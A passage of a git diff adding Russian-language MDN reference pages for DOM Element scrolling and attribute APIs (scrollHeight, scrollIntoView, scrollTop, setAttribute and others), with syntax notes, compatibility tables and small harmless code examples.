+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p>
diff --git a/files/ru/web/api/element/requestpointerlock/index.html b/files/ru/web/api/element/requestpointerlock/index.html
new file mode 100644
index 0000000000..c85e4075b3
--- /dev/null
+++ b/files/ru/web/api/element/requestpointerlock/index.html
@@ -0,0 +1,90 @@
+---
+title: Element.requestPointerLock()
+slug: Web/API/Element/requestPointerLock
+translation_of: Web/API/Element/requestPointerLock
+---
+<p>{{ APIRef("DOM") }}{{ seeCompatTable }}</p>
+
+<p>Метод <strong><code>Element.requestPointerLock()</code></strong> позволяет асинхронно запросить блокировку курсора для заданного элемента.</p>
+
+<p>Чтобы отследить успех или ошибку запроса, необходимо слушать события {{event("pointerlockchange")}} и {{event("pointerlockerror")}} на уровне {{domxref("Document")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>instanceOfElement</em>.requestPointerLock();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#element-interface','Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Element</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("moz")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("Document.pointerLockElement") }}</li>
+ <li>{{ domxref("Document.exitPointerLock()") }}</li>
+ <li><a href="/Web/API/Pointer_Lock_API">Pointer Lock</a></li>
+</ul>
diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..cc3e014192
--- /dev/null
+++ b/files/ru/web/api/element/scrollheight/index.html
@@ -0,0 +1,178 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>Element.scrollHeight</code></strong> (только чтение) - измерение высоты контента в элементе, включая содержимое, невидимое из-за прокрутки. Значение <code>scrollHeight</code>  равно минимальному <code>clientHeight</code>, которое потребуется элементу для того, чтобы поместить всё содержимое в видимую область (viewport), не используя вертикальную полосу прокрутки. Оно включает в себя padding элемента, но не его margin.</p>
+
+<div class="note">
+<p>Это свойство округляет значение до целого числа. Если вам нужно дробное значение, используйте {{ domxref("Element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval notranslate">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight;
+</pre>
+
+<p><em>intElemScrollHeight</em> - переменная, хранящая целое число, соответствующее пиксельному значению scrollHeight элемента. scrollHeight является свойством только для чтения.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p>Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="">Left</strong> <strong style="">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="Проблемы_и_решения">Проблемы и решения</h2>
+
+<h3 id="Определить_был_ли_элемент_полностью_прокручен.">Определить, был ли элемент полностью прокручен.</h3>
+
+<p>Следующее выражение возвращает <code>true</code>, если элемент был прокручен до конца, <code>false</code> если это не так.</p>
+
+<pre class="syntaxbox notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<h2 id="scrollHeight_Demo" name="scrollHeight_Demo">Пример работы scrollHeight</h2>
+
+<p>Если объединить это выражение с событием <code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code>, оно может быть использовано для того, чтобы определить, прочитал ли пользователь текст, или нет (см. также свойства <code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> и <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code>). Например:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form name="registration"&gt;
+  &lt;p&gt;
+    &lt;textarea id="rules"&gt;
+Регистрируясь на сайте любителей котиков я соглашаюсь со следующими условиями:
+- покупать kitekat бездомным;
+- делиться последним куском мяса;
+- любить Firefox;
+- вставлять в каждую вразу: "мурр", "мррр" и т.п.;
+- в качестве документов предъявлять хвост и усы;
+- заниматься разработкой;
+- читать хабрахабр;
+- смотреть "Tom and Jerry" и котопса;
+- продать почку для поддержания здоровья кошек города;
+- уметь ловить мышей;
+- быть фанатом Матроскина;
+- обожать молоко;
+- уметь мурлыкать и рррычать;
+- следовать жизненным принципам Леопольда;
+- вставлять на MDN фразы про кошек для разнообразия и поддержания морального духа;
+- загрузить в качестве аватарки фото с Простоквашино;
+- другими словами, всегда любить и уважать кошек и ненавидеть собак.
+Условия могут быть изменены в любое время, незнание не освобождает от ответственности.
+    &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" name="accept" id="agree" /&gt;
+    &lt;label for="agree"&gt;Я согласен&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="Далее" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Спасибо вам." : "Пожалуйста, прокрутите и прочитайте следующий текст.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Supported" name="Supported">Совместимость с браузерами</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Начальная версия</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>8.0</strong></td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.0</strong> (1.9)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td><strong>4.0</strong> | <strong>4.0</strong> | ?</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создает вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Измерение размера и положения элемента с помощью CSSOM в Internet Explorer 9</a></li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Определение размеров элементов</a></li>
+</ul>
diff --git a/files/ru/web/api/element/scrollintoview/index.html b/files/ru/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..58bf29f51a
--- /dev/null
+++ b/files/ru/web/api/element/scrollintoview/index.html
@@ -0,0 +1,112 @@
+---
+title: Element.scrollIntoView()
+slug: Web/API/Element/scrollIntoView
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>{{ APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.scrollIntoView()</strong></code> интерфейса {{domxref("Element")}} прокручивает текущий контейнер родителя элемента, так, чтобы этот элемент, на котором был вызван <code>scrollIntoView()</code> был видим пользователю.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element.scrollIntoView(); // эквивалентно<code> element.scrollIntoView(true)
+</code>element.scrollIntoView(<em>alignToTop</em>); // аргумент типа Boolean
+element.scrollIntoView(<em>scrollIntoViewOptions</em>); // аргумент типа Object
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>alignToTop</code> {{optional_inline}}</dt>
+ <dd>Параметр типа {{jsxref("Boolean")}}, возможные значения:
+ <ul>
+  <li> <code>true</code>,  верхняя граница элемента будет выровнена вверху видимой части окна прокручиваемой области. Соответствует <code>scrollIntoViewOptions: {block: "start", inline: "nearest"}</code>. Значение по умолчанию<strong>.</strong></li>
+  <li><code>false</code>, нижняя граница элемента будет выровнена внизу видимой части окна прокручиваемой области. Соответствует конфигурации <code>scrollIntoViewOptions: {block: "end", inline: "nearest"}</code></li>
+ </ul>
+ </dd>
+ <dt><code>scrollIntoViewOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Aргумент типа boolean или типа object со следующим набором опций:</dd>
+ <dt><code>behavior</code> {{optional_inline}}</dt>
+ <dd>Определяет анимацию скролла. Принимает значение <code>"auto"</code> или <code>"smooth"</code>. По умолчанию <code>"auto"</code>.</dd>
+ <dt><code>block</code> {{optional_inline}}</dt>
+ <dd>Вертикальное выравнивание.<br>
+ Одно из значений: <code>"start"</code>, <code>"center"</code>, <code>"end"</code> или <code>"nearest"</code>. По умолчанию <code>"center"</code>.</dd>
+ <dt><code>inline</code> {{optional_inline}}</dt>
+ <dd>Горизонтальное выравнивание.<br>
+ Одно из значений: <code>"start"</code>, <code>"center"</code>, <code>"end"</code> или <code>"nearest"</code>. По умолчанию <code>"nearest"</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button type="button" class="btn"&gt;Нажми на меня&lt;/button&gt;
+
+&lt;div class="big"&gt;&lt;/div&gt;
+
+&lt;div id="box" class="box"&gt;Скрытый элемент&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.big {
+   background: #ccc;
+   height: 300px;
+}
+
+.btn {
+   font-size: 14px;
+}
+
+.box {
+   background: lightgreen;
+   height: 40px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var hiddenElement = document.getElementById("box");
+var btn = document.querySelector('.btn');
+
+function handleButtonClick() {
+   hiddenElement.scrollIntoView({block: "center", behavior: "smooth"});
+}
+
+btn.addEventListener('click', handleButtonClick);
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Область может не полностью прокручивается до элемента (вверх или вниз), это зависит от расположения других элементов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial Definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.scrollIntoView")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollIntoViewIfNeeded()")}}<a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoViewIfNeeded"> </a>{{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/api/element/scrollleft/index.html b/files/ru/web/api/element/scrollleft/index.html
new file mode 100644
index 0000000000..15af642a56
--- /dev/null
+++ b/files/ru/web/api/element/scrollleft/index.html
@@ -0,0 +1,79 @@
+---
+title: Элемент.scrollLeft
+slug: Web/API/Element/scrollLeft
+translation_of: Web/API/Element/scrollLeft
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>scrollLeft</code></strong> получает или устанавливает количество пикселей, на которое контент элемента прокручен влево.</p>
+
+<p>Заметьте, что если свойство {{cssxref("direction")}}: <code>rtl</code> (right-to-left), то <code>scrollLeft</code> равен <code>0, </code>когда скроллбар на его самой правой позиции (с начала прокрученного контента), а затем становится отрицательным по мере прокрутки к концу контента.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval">// Получаем количество прокрученных пикселей
+var <var>sLeft</var> = <var>element</var>.scrollLeft;
+</pre>
+
+<p><var>sLeft</var> - целое число, представленное количеством пикселей, на которые элемент был прокручен влево.</p>
+
+<pre class="eval">// Устанавливаем количество прокрученных пикселей
+<var>element</var>.scrollLeft = 10;
+</pre>
+
+<p><code>scrollLeft</code> может быть установлен, как любое целое число, однако:</p>
+
+<ul>
+ <li>Если элемент не может быть прокручен (т.е. у него нет переполнения), <code>scrollLeft</code> устанавливается в 0.</li>
+ <li>Если установили значение меньше 0 (больше 0 при располежении элементов справа налево), <code>scrollLeft</code> устанавливается в 0.</li>
+ <li>Если установлено значение больше, чем максимум прокручиваемого контента, <code>scrollLeft</code> устанавливается в максимум.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;style&gt;
+        #container {
+            border: 1px solid #ccc; height: 100px; overflow: scroll; width: 100px;
+        }
+        #content {
+            background-color: #ccc; width: 250px;
+        }
+    &lt;/style&gt;
+    &lt;script&gt;
+        document.addEventListener('DOMContentLoaded', function () {
+            var button = document.getElementById('slide');
+            button.onclick = function () {
+                document.getElementById('container').scrollLeft += 20;
+            };
+        }, false);
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="container"&gt;
+        &lt;div id="content"&gt;Бла-бла-бла&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;button id="slide" type="button"&gt;Пролистать&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrollleft', 'scrollLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/element/scrollto/index.html b/files/ru/web/api/element/scrollto/index.html
new file mode 100644
index 0000000000..c6f78187e4
--- /dev/null
+++ b/files/ru/web/api/element/scrollto/index.html
@@ -0,0 +1,72 @@
+---
+title: Element.scrollTo()
+slug: Web/API/Element/scrollTo
+translation_of: Web/API/Element/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<p><code><strong>scrollTo()</strong></code> метод интерфейса  {{domxref("Element")}}, осуществляет прокрутку по заданному набору координат внутри данного элемента. </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element.scrollTo(<em>x-coord</em>, <em>y-coord</em>)
+element.scrollTo(<em>options</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> координаты пикселя по горизонтальной оси элемента, который необходимо отобразить вверху слева.</li>
+ <li><code>y-coord</code> координаты пикселя по вертикальной оси элемента, который необходимо отобразить вверху слева.</li>
+</ul>
+
+<p>- or -</p>
+
+<ul>
+ <li><code>options</code> как объект {{domxref("ScrollToOptions")}}, с тремя свойствами.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush:js">element.scrollTo(0, 1000);
+</pre>
+
+<p>С помощью <code>options</code>:</p>
+
+<pre class="brush: js">element.scrollTo({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-element-scrollto-options-options', 'element.scrollTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите сделать вклад, пожалуйста зайдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пул реквест. </div>
+
+<p>{{Compat("api.Element.scrollTo")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollTop")}}, {{domxref("Element.scrollLeft")}}</li>
+ <li>{{domxref("Window.scrollTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..fa6cbf77de
--- /dev/null
+++ b/files/ru/web/api/element/scrolltop/index.html
@@ -0,0 +1,73 @@
+---
+title: Элемент.scrollTop
+slug: Web/API/Element/scrollTop
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>Свойство<strong> scrollTop</strong></code> считывает или устанавливает количество пикселей, прокрученных от верха элемента. <code>scrollTop</code> измеряет дистанцию от верха элемента до верхней точки видимого контента. Когда контент элемента не создаёт вертикальную прокрутку, его <code>scrollTop</code> равно <code>0</code>.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval">//Получаем количество прокрученных пикселей
+var <var> intElemScrollTop</var> = someElement.scrollTop;
+</pre>
+
+<p><var>После выполнения этого кода, </var><code><var>intElemScrollTop</var></code> - целое число пикселей, на которое контент {{domxref("element")}} был прокручен от верха.</p>
+
+<pre class="eval">// Устанавлием количество прокрученных пикселей
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><code>scrollTop</code> может быть любым целым числом, с определенными оговорками:</p>
+
+<ul>
+ <li>Если элемент не может быть прокручен (т.е. у него нет переполнения или если элемент <strong>не прокручиваем</strong>), <code>scrollTop</code> устанавливается в <code>0</code>.</li>
+ <li>Если значение меньше <code>0</code>, <code>scrollTop</code> устанавливается в <code>0</code>.</li>
+ <li>Если установлено значение больше, чем максимум прокручиваемого контента, <code>scrollTop</code> устанавливается в максимум.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p>Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollTop.png" class="internal" src="/@api/deki/files/842/=ScrollTop.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.scrollTop")}}</p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop">W3C Draft CSSOM View Module</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx">MSDN's scrollTop definition</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..0d61d3834e
--- /dev/null
+++ b/files/ru/web/api/element/setattribute/index.html
@@ -0,0 +1,54 @@
+---
+title: Element.setAttribute()
+slug: Web/API/Element/setAttribute
+translation_of: Web/API/Element/setAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>Добавляет новый атрибут или изменяет значение существующего атрибута у выбранного элемента.</div>
+
+<div></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>);
+</pre>
+
+<ul>
+ <li><code>name</code> - имя атрибута (строка).</li>
+ <li><code>value</code>  - значение атрибута.</li>
+</ul>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<p>В следующем примере, <code>setAttribute()</code> используется, чтобы установить атрибут {{htmlattrxref("disabled")}}  кнопки {{htmlelement("button")}}, делая её отключенной.</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Hello World&lt;/button&gt;</pre>
+
+<pre class="brush:js notranslate">var b = document.querySelector("button");
+
+b.setAttribute("disabled", "disabled");
+</pre>
+
+<p>{{ EmbedLiveSample('Пример', '300', '50', '', 'Web/API/Element/setAttribute') }}</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>При вызове на элементе внутри HTML документа, setAttribute переведет имя атрибута в нижний регистр.</p>
+
+<p>Если указанный атрибут уже существует, его значение изменится на новое. Если атрибута ранее не существовало, он будет создан.</p>
+
+<p>Несмотря на то, что метод  <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удаленных атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p>
+
+<p>Использование setAttribute() для изменения определенных атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p>
+
+<p>Чтобы установить атрибут, которому значение не нужно, такой как, например, атрибут <code>autoplay</code> элемента {{HTMLElement("audio")}}, используйте null или пустое значение. Например: <code><em>elt</em>.setAttribute('autoplay', '')</code></p>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (представлено в <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents">HTML5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html
new file mode 100644
index 0000000000..0317b63cc2
--- /dev/null
+++ b/files/ru/web/api/element/slot/index.html
@@ -0,0 +1,67 @@
+---
+title: Element.slot
+slug: Web/API/Element/slot
+tags:
